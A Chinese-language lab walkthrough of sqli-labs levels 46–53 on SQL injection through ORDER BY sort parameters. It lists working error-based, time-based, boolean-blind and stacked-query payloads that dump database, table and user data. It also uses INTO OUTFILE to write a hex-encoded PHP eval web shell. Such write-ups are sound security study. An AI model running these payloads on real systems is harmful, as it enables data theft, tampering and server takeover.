sqlilabs靶场记录排序注入(九)

less-46基于错误GET数字型排序注入

这一关首先要说一下的是,在前面的关卡中我们大多是使用 id这个参数来获取到正常的页面,但在这几关中我们要使用 sort 这个参数

image-20220318193618446

我们看到了正常的页面,从中我们也发现了数字的不同,页面给我们呈现出的账号表格中的顺序是不同的,那么这就是我们这几关要说的知识点。

这关往后都是order by语句与limit语句的相关注入,还是很实用的,尤其是对于一些会显示表格的网站,他们的 URL 中通常都会有sort和limit两个参数。

image-20220318193754203

从中我们了解到通过sort参数接受需要排序的列的序号

尝试sort asc 和sort=1 desc 分别显示升序和降序的表格,说明次数是注入点,即注入点在order by后面的参数中.而order by不同于在where后的注入,不能使用union等进行注入.

image-20220318194402093

image-20220318194417266

order by后的数字可以作为一个注入点.也就是构造order by 后的一个语句,让改语句执行结果为一个数,我们尝试:

left(version(),1)	right(version(),1)

没有报错,但是 right 换成 left 都一样,说明数字没有起作用

仔细考虑一下,就会发现这里的字段数目是一定的,也就是说明这里的字段数最大就是3.那么我们当然不能使用超过3以上的数字来进行判断了

但是这里我们可以使用布尔类型,报错注入,时间盲注

基于报错

爆库:
(select 1 from (select count(*),concat_ws('-',(select database()),floor(rand()*2))as a from information_schema.tables group by a) b)
爆表:
(select 1 from (select count(*),concat_ws('-',(select group_concat(table_name) from information_schema.tables where table_schema='security'),floor(rand()*2))as a from information_schema.tables group by a) b)
或者:
(select 1 from (select count(*),concat_ws('-',(select table_name from information_schema.tables where table_schema='security' limit 3,1),floor(rand()*2))as a from information_schema.tables group by a) b)
字段名:
(select 1 from (select count(*),concat_ws('-',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),floor(rand(0)*2))as a from information_schema.tables group by a) b)
爆数据:
(select 1 from (select count(*),concat_ws('-',(select concat_ws('-',id,username,password) from users limit 0,1),floor(rand(0)*2))as a from information_schema.tables group by a) b)

延时注入

if(ascii(mid(database(),1,1))=115,sleep(3),0) 

布尔盲注

rand(ascii(left(database(),1))=115)	正确的

image-20220318195733861

rand(ascii(left(database(),1))=116)	错误的

image-20220318195750814

procedure analyse 参数后注入

利用 procedure analyse 参数,我们可以执行报错注入。同时,在 procedure analyse 和 order by 之间可以存在 limit 参数,我们在实际应用中,往往也可能会存在 limit 后的注入,可以利用 procedure analyse 进行注入

1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)

image-20220318200133309

导出文件 into outfile 参数注入

1 into outfile "D:\\Data\\secquan\\tools\\Environment\\PhpStudy\\PHPTutorial\\WWW\\sqlilabs\\Less-46\\test.txt"

image-20220318200343101

image-20220318200411347

1 into outfile "D:\\Data\\secquan\\tools\\Environment\\PhpStudy\\PHPTutorial\\WWW\\sqlilabs\\Less-46\\test.php" lines terminated by 0x3c3f706870206576616c28245f504f53545b227a66225d293b3f3e

其中lines terminates by将每行以指定字符串结尾:
0x3c3f706870206576616c28245f504f53545b227a66225d293b3f3e = hex(<?php eval($_POST["zf"]);?>)

image-20220318200654533

Less-47基于错误GET字符型单引号排序注入

image-20220318201308014

将 id 变为字符型,因此根据我们上述提到的知识,我们依旧按照注入的位置进行分类。(不过这里还要说一点的是在Less-46关中,我们没有用注释符是因为他是数字型,且注入的位置在SQL语句末尾,而字符型就必须要注释了,否则无法进行单引号的正常闭合)

基于报错注入

1' and (select 1 from (select count(*),concat_ws('-',(select database()),floor(rand()*2))as a from information_schema.tables group by a) b)--+

image-20220318201401990

基于 Time 盲注

1' and if(ascii(mid(database(),1,1))=115,1,sleep(0.3))--+

less-48基于盲注GET数字型排序注入

image-20220318201958023

与 less-46 的区别在于报错注入不能使用,不进行错误回显,因此其他的方法我们依旧是可以使用的

Less-49基于盲注GET字符型单引号排序注入

与 47 关基本类似,区别在于没有错误回显,所以我们可以通过延时注入和导入文件进
行注入

基于 Time 盲注

1' and if(ascii(mid(database(),1,1))=115,1,sleep(1))--+

Less-50基于错误GET数字型排序堆叠注入

image-20220318205427348

我们从源码可以看到,一般后台查询数据库使用的语句都是mysql_query(),而可以堆叠注入的后台使用的是mysqli_multi_query()。(这个函数是能否进行堆叠注入的关键)

排序注入在这一关通用

(select 1 from (select count(*),concat_ws('-',(select database()),floor(rand()*2))as a from information_schema.tables group by a) b)
1 and (updatexml(1,concat(0x7e,(select database())),0))

堆叠注入的方法也同样适用这一关

1;insert into users(id,username,password) values(50,'Less50','Less50')--+

Less-51基于错误GET字符型单引号排序堆叠注入

和Less-50的操作基本一样,只要注意单引号的闭合和注释符就可以了

1' and (select 1 from (select count(*),concat_ws('-',(select database()),floor(rand()*2))as a from information_schema.tables group by a) b)--+
1';insert into users values(51,'Less51','Less51')--+

Less-52基于Bool_GET数字型盲注堆叠注入

Less-50 是一样的,只是这里的 mysql 错误不会在前台显示,但是对于 stacked injection 是 一样的利用方式,当然布尔盲注,延时注入都可以参考Less-46,这里只演示堆叠注入

1;insert into users(id,username,password) values(52,'Less52','Less52')--+

Less-53基于Bool_GET单引号字符型盲注堆叠注入

Less-51 是一样的,只是这里的 mysql 错误不会在前台显示,但是对于 stacked injection 是 一样的利用方式

1';insert into users(id,username,password) values(53,'Less53','Less53')--+

接下来的关卡就是挑战关了(回头再玩)